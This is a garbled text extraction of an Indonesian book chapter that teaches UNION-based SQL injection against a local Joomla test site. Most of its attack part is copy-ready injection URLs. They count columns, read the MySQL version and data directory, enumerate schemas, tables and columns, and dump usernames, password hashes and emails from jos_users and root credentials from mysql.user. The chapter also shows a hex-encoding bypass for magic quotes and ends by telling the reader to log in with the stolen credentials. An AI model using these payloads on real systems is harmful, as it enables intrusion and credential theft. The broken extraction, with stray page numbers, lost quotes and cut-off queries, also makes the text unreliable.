SQL Injection PDF
SQL Injection PDF
Dalam bab ini Anda akan melihat bagaimana aksi SQL Injection
bekerja. Apa yang dijelaskan dalam bab ini akan menjadi panduan
untuk Anda, langkah-langkah apa saja yang perlu dilakukan dalam
melakukan SQL Injection. Subbab berikutnya ditulis secara berurutan, sehingga Anda bisa memahami sistem kerja SQL Injection
dengan lebih mudah. Namun, perlu Anda ketahui, setelah mempelajari bab ini, bukan berarti semua prosedur harus Anda ikuti semuanya, karena Anda bisa mencari tahu bagian mana saja yang Anda
perlukan dan bagian mana yang tidak. Misalnya, jika Anda merasa
tidak perlu melakukan pemeriksaan terhadap versi MySql, Anda bisa
saja melewatinya.
Awalnya, bab ini saya isi dengan teori penjelasan saja. Setelah saya
pikir-pikir, apabila hanya sekadar penjelasan saja, sepertinya agak
susah bagi Anda untuk memahami konsep SQL Injection yang
sebenarnya. Supaya lebih mudah dicerna, sambil Anda memahami
perintah untuk melakukan SQL Injection, akan lebih mudah dimengerti jika Anda mempraktikkannya.
Karena Anda bisa sekaligus belajar secara langsung. Istilahnya,
Learning by doing. Oleh karena itulah, bab ini akan saya awali
dengan membangun semacam laboratorium SQL Injection. Sehingga
Anda memiliki sebuah wadah yang bisa Anda dayagunakan untuk
mencoba berbagai syntax SQL Injection.
73
74
75
77
10. Apabila tidak ada masalah maka akan muncul pesan Category
successfully saved. Selain itu, Anda juga bisa melihat sebuah
kategori baru telah dibuat. Selanjutnya, klik menu FAQs.
78
11. Dari halaman FAQs yang muncul, klik pada ikon New yang
berupa tanda tambah untuk mengisi FAQ.
12. Buatlah FAQ yang Anda inginkan. Setelah selesai, klik tombol
Save & Close.
79
80
16. Isikan Nama atau Judul untuk menu tersebut pada bagian
Menu Title. Sedangkan pada bagian Menu Location, pilih Main
Menu.
Tes Vulnerabilitas
Salah satu hal yang seolah-olah menjadi standar dalam melakukan
aksi SQL Injection adalah melakukan tes vulnerabilitas terlebih
dahulu. Pengujian atau tes ini perlu dilakukan untuk mengetahui
apakah sebuah situs web memiliki celah keamanan atau tidak untuk
dilakukan SQL Injection.
Salah satu karakter yang sering digunakan untuk melakukan tes
vulnerabilitas adalah pemakaian karakter kutip tunggal (). Selain
menggunakan kutip tunggal, juga bisa menggunakan beberapa
keyword SQL tertentu.
82
mysql_num_rows()
mysql_numrows()
mysql_fetch_assoc()
mysql_result()
mysql_fetch_array()
mysql_preg_match()
mysql_fetch_row()
mysql_fetch_object()
83
Invalid Querystring
VBScript Runtime
ADODB.Field
BOF or EOF
ADODB.Command
JET Database
Syntax error
include()
GetArray()
FetchRow()
Microsoft VBScript;
Pesan error yang muncul bisa saja bervariasi, selain itu pada
beberapa kasus, kondisi error tidak hanya ditampilkan dengan kode
error saja. Ada juga yang mengubah tampilan halamannya. Sebagai
contoh, misalnya saya membuka sebuah situs web secara normal
maka akan tampil seperti berikut ini.
84
Buka halaman FAQ yang telah Anda buat, perhatikan pada bagian URLnya.
3.
86
88
89
90
http://localhost/joomla/index.php/hacking-faq?view=category&id=77 order
by 20-- Situs web masih normal dan tidak ada pesan error
http://localhost/joomla/index.php/hacking-faq?view=category&id=77 order
by 30-- Situs web menampilkan pesan error
Dengan cara di atas, kita bisa mencari pada nomor berapa error pertama kali
muncul. Dalam hal ini kondisi error berarti berada antara 21 sampai dengan
30.
Maka kita gunakan kembali perintah order by.
http://localhost/joomla/index.php/hacking-faq?view=category&id=77 order
by 21-- Situs web masih normal dan tidak ada pesan error
http://localhost/joomla/index.php/hacking-faq?view=category&id=77 order
by 22-- Situs web masih normal dan tidak ada pesan error
http://localhost/joomla/index.php/hacking-faq?view=category&id=77 order
by 23-- Situs web masih normal dan tidak ada pesan error
http://localhost/joomla/index.php/hacking-faq?view=category&id=77 order
by 24-- Situs web masih normal dan tidak ada pesan error
http://localhost/joomla/index.php/hacking-faq?view=category&id=77 order
by 25-- Situs web masih normal dan tidak ada pesan error
http://localhost/joomla/index.php/hacking-faq?view=category&id=77 order
by 26-- Situs web masih normal dan tidak ada pesan error
http://localhost/joomla/index.php/hacking-faq?view=category&id=77 order
by 27-- Situs web menampilkan pesan error
Selanjutnya apabila kita memasukkan order by 28, order by 29 dan
seterusnya akan tetap terjadi error. Yang menjadi patokan kita adalah pada
nomor berapa error untuk pertama kalinya terjadi. Oleh karena pesan error
muncul sewaktu kita menggunakan order by 27 maka diperoleh jumlah
kolom yang digunakan adalah sebanyak 26 (27-1).
91
Sebagai contoh lain, berikut ini tampilan sebuah situs web yang
menampilkan beberapa angka error sekaligus, yaitu angka 2 dan 3.
94
96
UNION
SELECT
UNION
SELECT
Atau:
http://www.situsweb.com/product.php?id=-1
1,2,@@version,4 --
UNION
SELECT
Sekarang kita lihat perbedaannya dengan mencoba lagi memasukkan perintah @@version pada nomor 3.
http://www.situsweb.com/product.php?id=-1
1,2,@@version,4 --
UNION
SELECT
97
Dari dua gambar di atas, kita peroleh versi SQL yang digunakan
adalah 5.0.51a-24+lenny5-log, atau umum disebut dengan versi 5
saja.
Selain menggunakan perintah @@version untuk menampilkan versi
SQL, kita juga bisa menggunakan perintah version() atau
@@global.version.
Pada beberapa kasus tertentu terdapat situs web yang tidak mau
menampilkan versi SQL. Gunakanlah nilai hexadesimal, seperti
berikut ini: unhex(hex()).
Dalam sebuah URL adalah sebagai berikut:
http://localhost/joomla/index.php/hacking-faq?view=category&id=77 UNION SELECT
1,2,3,4,5,6,7,8,unhex(hex(@@version)),10,11,12,13,14,15,16,17,18,
19,20,21,22,23,24,25,26-Berikut beberapa contoh versi MySql:
4.1-log
4.3
5.1.52
5.0.75-0ubuntu10
5.0.77
98
5.0.91-log
5.0.92-community-log
Untuk tambahan informasi, perlu Anda ketahui, dari hasil versi yang
ditampilkan kita juga dapat menebak sistem operasi apa yang
digunakan. Misalnya, apabila pada tampilan versi terdapat pesan
nt-log ataupun log lainnya, hal ini menandakan bahwa server
tersebut menggunakan sistem operasi Windows. Namun, saat ini
terkadang hasil yang ditampilkan akan menyembunyikan teks
nt-log tersebut. Sedangkan untuk versi lain 0ubuntu10, menandakan server menggunakan sistem operasi Linux Ubuntu.
menemukan
database
adalah:
http://localhost/joomla/index.php/hacking-faq?view=category&id=-77
UNION SELECT
1,2,3,4,5,6,7,8,group_concat(schema_name),10,11,12,13,14,15,16,17,18,1
9,20,21,22,23,24,25,26 FROM information_schema.schemata-Ingat, kita menyisipkan perintah group_concat(schema_name) pada bagian
angka error yang memiliki vulnerable. Lalu pada akhir perintah kita
tambahkan FROM information_schema.schemata.
Pembahasan mengenai information_schema akan kita bicarakan dalam
bagian tersendiri.
Berikut ini contoh hasil pemakaian perintah di atas, terdapat beberapa buah
nama database.
99
yang
terdapat
setelah
Anda juga bisa menggunakan perintah concat(database ()) untuk menampilkan nama database yang sedang digunakan.
http://localhost/joomla/index.php/hacking-faq?view=category&id=-77
UNION SELECT
1,2,3,4,5,6,7,8,concat(database()),10,11,12,13,14,15,16,17,18,19,20,21,22,2
3,24,25,26 FROM information_schema.schemata
100
103
104
core_log_searches,jos_extensions,jos_faqbook_items,jos_gbufacebook_faces
,jos_languages,jos_menu,jos_menu_types,jos_messages,jos_messages_cfg,jo
s_modules,jos_modules_menu,jos_newsfeeds,jos_p
Tabel yang pertama adalah jos_assets. Sehingga pemakaian LIMIT 0,1
adalah benar.
Sekarang kita coba memasukkan nilai LIMIT 1,1 untuk mencocokkan
dengan nama tabel ke-2.
http://localhost/joomla/index.php/hacking-faq?view=category&id=-77
UNION SELECT
1,2,3,4,5,6,7,8,table_name,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,
26 FROM information_schema.tables WHERE table_schema=database()
LIMIT 1,1- Hasilnya adalah jos_banner_clients;
GROUP_CONCAT.
juga
sesuai
dengan
perintah
106
107
Dalam kasus kita ini, tabel yang bermanfaat adalah jos_users mengandung
informasi penting di dalamnya.
http://localhost/joomla/index.php/hacking-faq?view=category&id=-77
UNION SELECT
1,2,3,4,5,6,7,8,group_concat(column_name),10,11,12,13,14,15,16,17,18,1
9,20,21,22,23,24,25,26 FROM information_schema.columns WHERE
table_name=jos_users-Apabila dengan perintah di atas, tidak menampilkan nama kolom, gantilah
tanda kutip dua pada bagian nama_tabel dengan kutip tunggal. Sehingga
URL-nya menjadi:
http://localhost/joomla/index.php/hacking-faq?view=category&id=-77
UNION SELECT
1,2,3,4,5,6,7,8,group_concat(column_name),10,11,12,13,14,15,16,17,18,19,
20,21,22,23,24,25,26 FROM information_schema.columns WHERE
table_name=jos_users-Hasilnya akan menampilkan daftar nama-nama semua kolom yang digunakan
pada tabel jos_users.
108
Walaupun di dalamnya ada banyak nama kolom lain, namun di sini kita telah
menemukan nama kolom yang menjadi incaran kita, yaitu username dan
password.
Dari hasil yang ditampilkan seperti di atas, terlihat nama-nama kolom yang
dipakai, antara lain id, name, username, email, password, usertype, block,
sendEmail, registerDate, lastvisitDate, activation, params.
Pada beberapa kasus yang terjadi adalah munculnya pesan error atau
halaman situs web tidak menampilkan hasil apa pun. Hal ini terjadi karena
sang pemilik situs web tersebut mengaktifkan fungsi Magic Quotes untuk
mengamankan situs web miliknya. Kasus seperti ini dapat dilewati dengan
menggunakan kode hexa atau konverter hexa untuk mengubah teks biasa ke
char atau hex.
Sebagai contoh kasus kita di atas, maka kita perlu mengubah nama tabel
jos_users menjadi karakter hexa, Anda bisa menggunakan bantuan dari:
http://www.swingnote.com/tools/texttohex.php
http://easycalculation.com/ascii-hex.php
http://home.paulschou.net/tools/xlate/
menggunakan
bantuan
dari
Dari situs web tersebut, masukkanlah teks yang ingin Anda ubah menjadi
kode hexa. Dalam hal ini kita memasukkan login lalu klik tombol Encode
dan tunggu proses encoding dilakukan.
Kemudian perhatikan pada kotak Hexadecimal, itulah kode yang kita
butuhkan.
109
http://localhost/joomla/index.php/hacking-faq?view=category&id=-77
UNION SELECT
1,2,3,4,5,6,7,8,group_concat(username,0x3a,password,0x3a,email),10,11,
12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 FROM joomlaku.jos_users-Karakter 0x3a adalah nilai hexa untuk tanda titik dua (:). Sehingga hasilnya
akan dikelompokkan menjadi seperti ini: username:password:email.
Berikut ini contoh tampilan yang kita hasilkan.
Username: admin
Password:
f62c6096cae5de8e96b7171e097f6117:9SM9hiQfxmBPNVqAz7QCwG
D4rR6qVIBI
Email: [email protected]
112
Untuk menampilkan dan melihat semua hasilnya, Anda bisa melakukan copy-paste pada MS Word sama seperti langkah sebelumnya.
Apabila Anda beruntung maka Anda bisa melihat password dalam
bentuk plain text. Selain itu, Anda juga akan melihat password yang
telah diacak, seperti halnya pada gambar di atas. Untuk password
yang diacak ini akan kita bahas dalam bab tersendiri cara membongkarnya.
Dan yang terakhir setelah Anda menemukan username dan
password adalah Anda mencari halaman untuk melakukan login.
Kemudian masuk menggunakan username dan password yang telah
Anda dapatkan tersebut.
URL di atas juga bisa kita ganti menggunakan concat_ws dengan menempatkan kode hexa pada bagian depan.
http://localhost/joomla/index.php/hacking-faq?view=category&id=-77
UNION SELECT
1,2,3,4,5,6,7,8,concat_ws(0x3a,username,password,email),10,11,12,13,14,
15,16,17,18,19,20,21,22,23,24,25,26 FROM joomlaku.jos_users-Fungsi Concat merupakan sebuah Concatenation, atau penggabungan karakter salah satu fungsi tersebut adalah CONCAT_WS
yang merupakan bagian dari string function. Pada fungsi CONCAT,
karakter-karakter yang ingin digabungkan tidak boleh mengandung
tanda jeda. Itulah kenapa kode hexa sebagai simbol pemisah
ditempatkan di depan.
Sedikit modifikasi dari perintah di atas. Misalnya, kita telah
mengetahui sebuah username dan ingin mencari password-nya,
maka perintah yang digunakan adalah:
http://localhost/joomla/index.php/hacking-faq?view=category&id=77 UNION SELECT
1,2,3,4,5,6,7,8,(password),10,11,12,13,14,15,16,17,18,19,20,21,22,
23,24,25,26 FROM joomlaku.jos_users WHERE username='admin'--
113
114
Perintah lain yang bisa digunakan untuk hal yang sama adalah:
SELECT MID(GROUP_CONCAT(0x3c62723e, 0x5461626c653a20,
table_name, 0x3c62723e, 0x436f6c756d6e3a20, column_name ORDER BY
(SELECT version FROM information_schema.tables) SEPARATOR
0x3c62723e),1,1024) FROM information_schema.columns
116
Sebagai contoh lain, misalnya kita akan mencari sebuah tabel yang
berisikan kata user di dalamnya. Perintah yang digunakan adalah:
SELECT table_name FROM information_schema.columns WHERE
column_name LIKE '%user%';
117
URL-nya adalah:
http://localhost/joomla/index.php/hacking-faq?view=category&id=77 UNION SELECT
1,2,3,4,5,6,7,8,group_concat(column_name),10,11,12,13,14,15,16,
17,18,19,20,21,22,23,24,25,26 FROM information_schema.columns
WHERE table_name LIKE '%user%'--
118
119
perintah
current_user(),
session_user(),
Dari username MySql yang kita peroleh tersebut, kita juga bisa melihat
password untuk MySql-nya.
http://localhost/joomla/index.php/hacking-faq?view=category&id=-77
UNION SELECT 1,2,3,4,5,6,7,8,CONCAT_WS(0x3A, user,
password),10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 FROM
mysql.user WHERE user = 'root'--
Kini kita akan mencari tahu aplikasi apa yang digunakan dalam
manajemen database.
http://localhost/joomla/index.php/hacking-faq?view=category&id=77 UNION SELECT
1,2,3,4,5,6,7,8,(db),10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,
25,26 FROM mysql.db-Atau:
http://localhost/joomla/index.php/hacking-faq?view=category&id=77 UNION SELECT
1,2,3,4,5,6,7,8,concat(db),10,11,12,13,14,15,16,17,18,19,20,21,22,
23,24,25,26 FROM mysql.db-Hasilnya menampilkan
phpMyAdmin.
bahwa
aplikasi
database-nya
adalah
121
HOST_NAME()
@@servername
SERVERPROPERTY()
Terakhir, kita akan mencari tahu di mana direktori data atau tempat
file database disimpan. Gunakan perintah @@DATADIR atau
DATADIR().
http://localhost/joomla/index.php/hacking-faq?view=category&id=77 UNION SELECT
1,2,3,4,5,6,7,8,@@datadir,10,11,12,13,14,15,16,17,18,19,20,21,22,
23,24,25,26 FROM mysql.user-Dari gambar di bawah ini terlihat bahwa data direktori berada pada
C:\xampp\mysql\data
122
Serta masih banyak lagi yang bisa digunakan, hanya saja kita akan
berfokus untuk SQL Injection saja. Beberapa perintah lain yang bisa
Anda gunakan, seperti @@language untuk mengetahui bahasa yang
digunakan, last_insert_id() dan connection_id().
Sebagai penutup untuk bab ini, perlu saya sampaikan bahwa dalam
urutan prosedur untuk melakukan SQL Injection ini, tidak semuanya
perlu Anda lakukan secara berurut dari awal, misalnya Anda bisa
saja melewati step melihat versi SQL atau mencari tahu nama
database. Anda bisa saja melewati beberapa step jika diperlukan.
Selain itu, kode perintah yang diberikan di atas adalah kode standar
dalam kenyataannya akan ada sedikit modifikasi tergantung dari
kasus yang dihadapi, salah satunya adalah pemakaian karakter
enkode. Walau demikian, setidaknya dengan adanya penjelasan
prosedur untuk melakukan SQL Injection ini, akan membantu Anda
untuk mengetahui apa saja tindakan yang perlu dilakukan dalam
melakukan aksi hacking dengan SQL Injection.
i
123